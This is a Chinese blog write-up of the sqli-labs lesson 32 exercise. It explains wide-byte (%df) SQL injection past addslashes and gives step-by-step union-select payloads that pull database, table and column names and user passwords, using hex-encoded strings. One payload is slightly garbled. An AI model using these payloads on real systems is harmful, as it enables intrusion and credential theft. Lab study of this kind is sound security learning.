宽字节注入 sqli-lab lesson 32

1.判断注入

1.输入 1',addslashes函数将 ' 进行转义变为 \' ,此时的单引号仅作为普通的字符

2.输入1%df'addslashes 函数将 ' 进行转义变为 \' ,此时 %df%5c会进行结合变成了一个汉字 ,因此SQL查询语句成功被改变了从而引起了报错
1%df' =>1%df%5c'

3.将多余的'进行注释然后按照正常的方法注入即可
总结:

我们的目的是给SQL构造错误,使用的方法是加'
但是宽字节编码的前提下加'会被Mysql 自动加反斜杠变成\'\的ascii码为5c
在SQL语句中就会造成新添加的'为数据的一部分,而不是作为引号闭合语句

        select * from users where id='1';          正常查询 id=1 语句
        select * from users where id='1\'';      宽字节编码查询 id = 1' 语句;宽字节编码前提下使用1'的方式不会造成语法错误

为了使引号闭合,我们在引号的前面添加ascii码大于128 的字符,使新加的\ 强制和这个字符结合起来,那么' 就能逃逸,造成SQL语法错误

        构造1%df'
        宽字节编码会转换成 1%df\'
        字符转换后为1%df%5c'
        代码会将%df%5c解析为一个宽字节 1%df%5c '  ,'  不被转义字符转义,可以被作为单引号使用

2. 判断表的列数

1%df' order by 4 %23

3. 确定显示位

1%df'union select 1,2,3 %23

4 . 获取用户,数据库名

-1%df' union select 1, user(),database() %23  
注意确保union左侧结果查询为空,这个靶场能同时显示出name 和 password 两个数据库参数,因此可以同时设置两个查询语句

5. 获取表名

-11%df'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
正常的查询语句应该如上查询,表名需要带引号,但是因为宽字节的原因,在单引号前面加上转义字符\ 是不能正常注入的,因此需要将引号内的内容转换为16进制,并且要在前面加上0x
-11%df'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23

0x7365637572697479 = security

6. 获取字段名

-11%df'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' %23

-11%df'union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 %23

7. 依据数据库表信息获取表中记录
-11%df'union select 1,group_concat(id,username,password),3 from users %23
-11%df'union select 1,group_concat(id,':',username,':',password,'😂,3 from users %23    注:冒号:需要改成0x3a

posted @ 2025-02-19 20:28  小圣爱学习  阅读(60)  评论(0)    收藏  举报